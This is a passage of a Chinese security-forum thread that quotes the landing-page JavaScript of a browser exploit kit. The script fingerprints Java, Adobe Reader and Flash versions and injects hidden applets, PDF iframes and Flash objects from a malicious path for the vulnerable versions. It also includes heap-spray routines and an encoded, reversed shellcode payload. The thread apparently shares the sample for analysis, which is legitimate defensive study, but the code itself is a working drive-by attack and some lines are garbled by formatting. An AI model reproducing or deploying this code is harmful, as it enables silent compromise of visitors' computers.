      1503.           return 0
      1504.         }
      1505.         , winOnLoadQuery : function (c, d){
      1506.           var b = d.$, a;
      1507.           if (b.OTF == 3){
      1508.             a = d.queryAllApplets();
      1509.             d.queryCompleted(a[1], a[2])
      1510.           }
      1511.         }
      1512.         , $onIntervalQuery : function (d){
      1513.           var c = d.$, b = d.$, a;
      1514.           if (b.OTF == 3){
      1515.             a = d.queryAllApplets();
      1516.             if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
      1517.               d.queryCompleted(a[1], a[2])
      1518.             }
      1519.           }
      1520.           d.count++;
      1521.           if (b.OTF == 3){
      1522.             setTimeout(d.onIntervalQuery, d.intervalLength)
      1523.           }
      1524.         }
      1525.         , queryAllApplets : function (){
      1526.           var g = this , f = g.$, e = g.$, d = e.applet, b, a, c;
      1527.           for (b = 0; b < d.results.length; b ++ ){
      1528.             d.query(b)
      1529.           }
      1530.           a = d.getResult();
      1531.           c = a[0] ? true : false;
      1532.           return [c, a[0], a[1]]
      1533.         }
      1534.         , queryCompleted : function (c, f){
      1535.           var e = this , d = e.$, b = e.$;
      1536.           if (b.OTF >= 4){
      1537.             return
      1538.           }
      1539.           b.OTF = 4;
      1540.           var a = e.isJavaActive();
      1541.           b.setPluginStatus(c, f, 0);
      1542.           if (b.funcs){
      1543.             d.callArray(b.funcs)
      1544.           }
      1545.           if (d.onDoneEmptyDiv){
      1546.             d.onDoneEmptyDiv()
      1547.           }
      1548.         }
      1549.       }
      1550.       , zz : 0
      1551.     }
      1552.     , flash : {
      1553.       mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
      1554.       , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function (){
      1555.         var b = function (i){
      1556.           if (!i){
      1557.             return null
      1558.           }
      1559.           var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]{
      1560.             0, 1
      1561.           }
      1562.           [ \ d \, ] */ .exec(i);
      1563.           return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
      1564.         }
      1565.         ;
      1566.         var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
      1567.         if (!g.isIE){
      1568.           m = g.hasMimeType(j.mimeType);
      1569.           if (m){
      1570.             f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
      1571.             try {
      1572.               l = g.getNum(f.GetVariable("$version"))
      1573.             }
      1574.             catch (k){
      1575.             }
      1576.           }
      1577.           if (!l){
      1578.             d = m ? m.enabledPlugin : null;
      1579.             if (d && d.description){
      1580.               l = b(d.description)
      1581.             }
      1582.             if (l){
      1583.               l = g.getPluginFileVersion(d, l)
      1584.             }
      1585.           }
      1586.         }
      1587.         else {
      1588.           for (h = 15; h > 2; h -- ){
      1589.             c = g.getAXO(j.progID + "." + h);
      1590.             if (c){
      1591.               a = h.toString();
      1592.               break
      1593.             }
      1594.           }
      1595.           if (!c){
      1596.             c = g.getAXO(j.progID)
      1597.           }
      1598.           if (a == "6"){
      1599.             try {
      1600.               c.AllowScriptAccess = "always"
      1601.             }
      1602.             catch (k){
      1603.               return "6,0,21,0"
      1604.             }
      1605.           }
      1606.           try {
      1607.             l = b(c.GetVariable("$version"))
      1608.           }
      1609.           catch (k){
      1610.           }
      1611.           if (!l && a){
      1612.             l = a
      1613.           }
      1614.         }
      1615.         j.installed = l ? 1 :- 1;
      1616.         j.version = g.formatNum(l);
      1617.         return true
      1618.       }
      1619.     }
      1620.     , adobereader : {
      1621.       mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
      1622.       "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
      1623.       {
      1624.       }
      1625.       , pluginHasMimeType : function (d, c, f){
      1626.         var b = this , e = b.$, a;
      1627.         for (ain d){
      1628.           if (d[a] && d[a].type && d[a].type == c){
      1629.             return 1
      1630.           }
      1631.         }
      1632.         if (e.getMimeEnabledPlugin(c, f)){
      1633.           return 1
      1634.         }
      1635.         return 0
      1636.       }
      1637.       , getVersion : function (l, j){
      1638.         var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
      1639.         if (d.isString(j)){
      1640.           j = j.replace(/\s/g, "");
      1641.           if (j){
      1642.             k = j
      1643.           }
      1644.         }
      1645.         else {
      1646.           j = null
      1647.         }
      1648.         if (d.isDefined(g.INSTALLED[k])){
      1649.           g.installed = g.INSTALLED[k];
      1650.           return
      1651.         }
      1652.         if (!d.isIE){
      1653.           a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
      1654.           if (g.getVersionDone !== 0){
      1655.             g.getVersionDone = 0;
      1656.             b = d.getMimeEnabledPlugin(g.mimeType, a);
      1657.             if (!j){
      1658.               n = b
      1659.             }
      1660.             if (!b && d.hasMimeType(g.mimeType)){
      1661.               b = d.findNavPlugin(a, 0)
      1662.             }
      1663.             if (b){
      1664.               g.navPluginObj = b;
      1665.               h = d.getNum(b.description) || d.getNum(b.name);
      1666.               h = d.getPluginFileVersion(b, h);
      1667.               if (!h && d.OS == 1){
      1668.                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
      1669.                   h = "9"
      1670.                 }
      1671.                 else {
      1672.                   if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
      1673.                     h = "8"
      1674.                   }
      1675.                 }
      1676.               }
      1677.             }
      1678.           }
      1679.           else {
      1680.             h = g.version
      1681.           }
      1682.           if (!d.isDefined(n)){
      1683.             n = d.getMimeEnabledPlugin(k, a)
      1684.           }
      1685.           g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
      1686.         }
      1687.         else {
      1688.           b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
      1689.           c =/=\ s * ([ \ d \ .] + ) / g;
      1690.           try {
      1691.             f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
      1692.             ""], "", g))).GetVersions();
      1693.             for (m = 0; m < 5; m ++ ){
      1694.               if (c.test(f) && (!h || h < RegExp.$1)){
      1695.                 h = RegExp.$1
      1696.               }
      1697.             }
      1698.           }
      1699.           catch (i){
      1700.           }
      1701.           g.installed = h ? 1 : (b ? 0 :- 1)
      1702.         }
      1703.         if (!g.version){
      1704.           g.version = d.formatNum(h)
      1705.         }
      1706.         g.INSTALLED[k] = g.installed
      1707.       }
      1708.     }
      1709.     , zz : 0
      1710.   }
      1711. }
      1712. ;
      1713. pdpd.initScript();
      1714. pdpd.getVersion(".");
      1715. var $ = pdpd;
      1716. function x(s){
      1717.   d = [];
      1718.   for (i = 0; i < s.length; i ++ ){
      1719.     k = (s.charCodeAt(i)).toString(33);
      1720.     d.push(k);
      1721.   }
      1722.   ;
      1723.   return d.join(":");
      1724. }
      1725. end_redirect = function (){
      1726. }
      1727. ;
      1728. function j1(){
      1729.   if ((document.body.clientWidth || document.body.offsetWidth) < 30){
      1730.     var oSpan = document.createElement("div");
      1731.     document.body.appendChild(oSpan);
      1732.     oSpan.innerHTML = "
      1733. <applet archive="/ngen/controlling/experiment_lowest_worded.php?hxez=nznkoij&cpvu=estbt"
      1734. code="hw"><param name="prime" value="SUviDy%toew%t0joAeoj%toylt--8oAj
      1735. ek3el80eoyN-t_eiyN_tlMeMw3D3xe.b11OhvO6DOh_O60RMeb68O6DO6tO6-O68O6tO6-O6qO6-O68RKb6.RKFbMR
      1736. 3ib_OODyy3OjjitoSUviDy%toew%t0joAeoj%toylt--8oAjek3el80eoyN-t_eiyN_tlMeMw3D3xS.b11OhvO6DOh
      1737. _O60R8eb6DO1hO6.O1fO6DO11O6qO6DOhvO16RVb6.RtobMRoKby" /><param name="val" value="
      1738. Dyy3Ojjito"/></applet>";
      1739.   }
      1740.   return true;
      1741. }
      1742. function j2(){
      1743.   if ((document.body.clientWidth || document.body.offsetWidth) < 30){
      1744.     var oSpan = document.createElement("div");
      1745.     document.body.appendChild(oSpan);
      1746.     oSpan.innerHTML = "
      1747. <applet archive="/ngen/controlling/experiment_lowest_worded.php?pczpglfz=nydbxlqs&owx=whr
      1748. ygzb" code="hw"><param name="prime" value="SUviDy%toew%t0joAeoj%toylt
      1749. --8oAjek3el80eoyN-t_eiyN_tlMeMw3D3xe.b11OhvO6DOh_O60RMeb68O6DO6tO6-O68O6tO6-O6qO6-O68RKb6.
      1750. RKFbMR3ib_OODyy3OjjitoSUviDy%toew%t0joAeoj%toylt--8oAjek3el80eoyN-t_eiyN_tlMeMw3D3xS.b11Oh
      1751. vO6DOh_O60R8eb6DO1hO6.O1fO6DO11O6qO6DOhvO16RVb6.RtobMRoKby" /><param name="v&#97;l" val
      1752. ue="Dyy3Ojjito"/></applet>";
      1753.   }
      1754.   return true;
      1755. }
      1756. function p1(){
      1757.   var d = document.createElement("iframe");
      1758.   d.setAttribute("src", "/ngen/controlling/experiment_lowest_worded.php?tuhkmres=" + x(
      1759.   "fa2b7") + "&xob=" + x("ffh") +
      1760.   "&tzr=1i:1h:1o:1l:1i:1o:1l:1k:1l:1i:1p:1p:1h:32:1f:30:1h:33:1k:1h:2v:31&cbu=" + x(pdfver
      1761.   .join(".")));
      1762.   document.body.appendChild(d);
      1763. }
      1764. function p2(){
      1765.   var d = document.createElement("iframe");
      1766.   d.setAttribute("src", "/ngen/controlling/experiment_lowest_worded.php?unlrtszp=" + x(
      1767.   "fa2b7") + "&grzzcl=" + x("o") +
      1768.   "&qcokuhq=1i:1h:1o:1l:1i:1o:1l:1k:1l:1i:1p:1p:1h:32:1f:30:1h:33:1k:1h:2v:31&hqjhs=" + x(
      1769.   pdfver.join(".")));
      1770.   document.body.appendChild(d);
      1771. }
      1772. function p3(){
      1773.   return false;
      1774. }
      1775. function f1(){
      1776.   var oSpan = document.createElement("span");
      1777.   document.body.appendChild(oSpan);
      1778.   var url = "/ngen/controlling/experiment_lowest_worded.php?ihgqk=" + x("fa2b7") +
      1779.   "&tyipycs=" + x("ypcudy") + "
      1780. &xmswysby=1i:1h:1o:1l:1i:1o:1l:1k:1l:1i:1p:1p:1h:32:1f:30:1h:33:1k:1h:2v:31&info=02e677bd2
      1781. b70fa5a6a7fba61c38e613e3debaafd70c0c192d8af9311845ce193344efee50df4163b62543259341a801d271
      1782. 057e672cdd8ed7c4c251f1be225a859d8a9d69d4fa1cb07f81467a6";
      1783.   oSpan.innerHTML = "
      1784. <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='
      1785. 400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param
      1786. name='movie' value='" + url + "' /><embed src='" + url + "
      1787. ' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' plu
      1788. ginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
      1789. }
      1790. function getCN(){
      1791.   return "/ngen/controlling/experiment_lowest_worded.php?crd=" + x("fa2b7") + "&fqg=" + x(
      1792.   "snptq") + "
      1793. &kicnaqjv=1i:1h:1o:1l:1i:1o:1l:1k:1l:1i:1p:1p:1h:32:1f:30:1h:33:1k:1h:2v:31&uwokrfau=mptcp
      1794. x"
      1795. }
      1796. function getBlockSize(){
      1797.   return 1024
      1798. }
      1799. function getAllocSize(){
      1800.   return 1024 * 1024
      1801. }
      1802. function getAllocCount(){
      1803.   return 300
      1804. }
      1805. function getFillBytes(){
      1806.   var a = '%u' + '0c0c';
      1807.   return a + a
      1808. }
      1809. function getShellCode(){
      1810.   var a = "
      1811. 8282!%51c5!%64d5!%c4e0!%6451!%e074!%9134!%9451!%91e0!%21b1!%a1e5!%0421!%2191!%9134!%b121!%
      1812. 21b1!%9104!%8121!%21b1!%91e4!%a121!%21b1!%9104!%d451!%e014!%9154!%f521!%21a1!%9104!%e521!%
      1813. 21a1!%b1b1!%e451!%7115!%0485!%6085!%d4c4!%a5c4!%f574!%c577!%d4b5!%74f5!%7744!%64c5!%54d4!%
      1814. a514!%85d4!%d405!%f470!%1464!%4444!%a574!%64c5!%b474!%6470!%f4d4!%7064!%7454!%60b4!%64d4!%
      1815. b474!%04c5!%e5b5!%1525!%7464!%70b5!%2170!%c585!%04c5!%f582!%b551!%e085!%51c4!%d595!%34e0!%
      1816. 5191!%e0d5!%9114!%4421!%2191!%9134!%4421!%2191!%9174!%1421!%2191!%9144!%7421!%2191!%9104!%
      1817. 1421!%5191!%c4d4!%54e0!%2191!%a1f5!%0421!%2191!%a1e5!%b121!%51b1!%d4e4!%8571!%8504!%c460!%
      1818. c4d4!%74a5!%77f5!%b5c5!%f5d4!%4474!%c577!%d464!%1454!%d4a5!%0585!%70d4!%64f4!%4414!%7444!%
      1819. c5a5!%7464!%70b4!%d464!%64f4!%5470!%b474!%d460!%7464!%c5b4!%b504!%25e5!%6415!%b574!%7070!%
      1820. 8521!%c5c5!%8504!%2370!%15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%
      1821. 6d7d!%0c4b!%e702!%6d7d!%8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%
      1822. e7c2!%b77d!%3c42!%82ba!%c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%
      1823. 9697!%53c2!%0ac6!%c281!%2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%
      1824. fec6!%1e97!%0cb1!%423a!%7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%
      1825. fec6!%f4b5!%a5d4!%c2c0!%42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%
      1826. ce02!%e3ba!%c77d!%4454!%d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%
      1827. 87ba!%8282!%7d82!%8604!%8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%
      1828. bd3a!%eb3c!%c5b2!%42b1!%8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%
      1829. c7c0!%4c7d!%5ae6!%4236!%e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%
      1830. 01ad!%6983!%3f72!%deb1!%58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%
      1831. 97e7!%3c46!%971c!%ccd5!%c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%
      1832. b2c5!%6741!%e43a!%b13f!%e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%
      1833. ffff!%beff!%508e!%afbe!%042e!%0382!%df08!%9ec6!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%
      1834. 1414!%".split("").reverse().join("");
      1835.   return a["replace"](/\%!/g, "%" + "u")
      1836. }
      1837. ;
      1838. function ff2(){
      1839.   var oSpan = document.createElement("span");
      1840.   var url = "/ngen/controlling/experiment_lowest_worded.php?odjrq=" + x("fa2b7") +
      1841.   "&qznv=" + x("cccf") +
      1842.   "&fmm=1i:1h:1o:1l:1i:1o:1l:1k:1l:1i:1p:1p:1h:32:1f:30:1h:33:1k:1h:2v:31&fum=sgmzlnbj";
      1843.   oSpan.innerHTML = "
      1844. <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
      1845. '><param name='movie' value='" + url + "
      1846. ' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed
      1847. src='" + url + "
      1848. ' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash
      1849. ' width='10' height='10'></embed></object>";
      1850.   document.body.appendChild(oSpan);
      1851. }
      1852. document.write('
      1853. <html><head><style>@font-face{font-family: "p1";src: url("/ngen/shrift.php");}.duqu{font-s
      1854. ize: 5px;line-height: normal;font-family: "p1";position:absolute;top:0px;left:0px;}</style
      1855. ></head><body><div class="duqu">:)</div>');
      1856. setTimeout(end_redirect, 61000);
      1857. var pdfver = [];
      1858. function svwrbew6436b($){
      1859.   var ar = [];
      1860.   var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
      1861.   if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9
      1862.   ))){
      1863.     ar["push"](j2);
      1864.   }
      1865.   else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3
      1866.   ] < 33) || (javax[0] == 1 && javax[1] < 6))){
      1867.     ar["push"](j1);
      1868.   }
      1869.   pdfver = pdpd.getVersion("AdobeReader");
      1870.   if (window.document)if (typeof pdfver == "string"){
      1871.     pdfver = pdfver["split"](".")
      1872.   }
      1873.   else {
      1874.     pdfver = [0, 0, 0, 0]
      1875.   }
      1876.   if (pdfver[0] > 0 && pdfver[0] < 8){
      1877.     if (window.document)ar["push"](p1);
      1878.   }
      1879.   if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103))){
      1880.     ar["push"](p3);
      1881.   }
      1882.   else {
      1883.     if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))){
      1884.       ar["push"](p2);
      1885.     }
      1886.   }
      1887.   var ver = ($.getVersion("Flash") + ".").toString()["split"](".");
      1888.   if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 &&
      1889.   ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 &&
      1890.   ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))){
      1891.     ar["push"](ff2);
      1892.   }
      1893.   if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 &&
      1894.   ver[1] == 3 && ver[2] < 181)){
      1895.     ar["push"](f1);
      1896.   }
      1897.   var arcalli = 0;
      1898.   var arcall = function (){
      1899.     if (ar.length <= arcalli)return 123;
      1900.     ss = setTimeout;
      1901.     var res = ar[arcalli]();
      1902.     arcalli++;
      1903.     if (res && window.document){
      1904.       ss(function (){
      1905.         arcall()
      1906.       }
      1907.       , 5509);
      1908.     }
      1909.     else {
      1910.       arcall();
      1911.     }
      1912.   }
      1913.   ;
      1914.   arcall();
      1915. }
      1916. $["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../encountering/getJavaInfo.jar");
      复制代码

        骄傲的使用Chrome


        Powered By Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31








          骄傲的使用Chrome


          Powered By Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
          zhym91
          发表于 2013-4-10 17:44:43 | 显示全部楼层
          Ashampoo_Snap_2013.04.10_17h44m12s_002_.png








            骄傲的使用Chrome


            Powered By Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
            您需要登录后才可以回帖 登录 | 快速注册

            本版积分规则

            手机版|杀毒软件|软件论坛| 卡饭论坛

            Copyright © KaFan  KaFan.cn All Rights Reserved.

            Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 16:44 , Processed in 0.144670 second(s), 20 queries .

            卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

            快速回复 客服 返回顶部 返回列表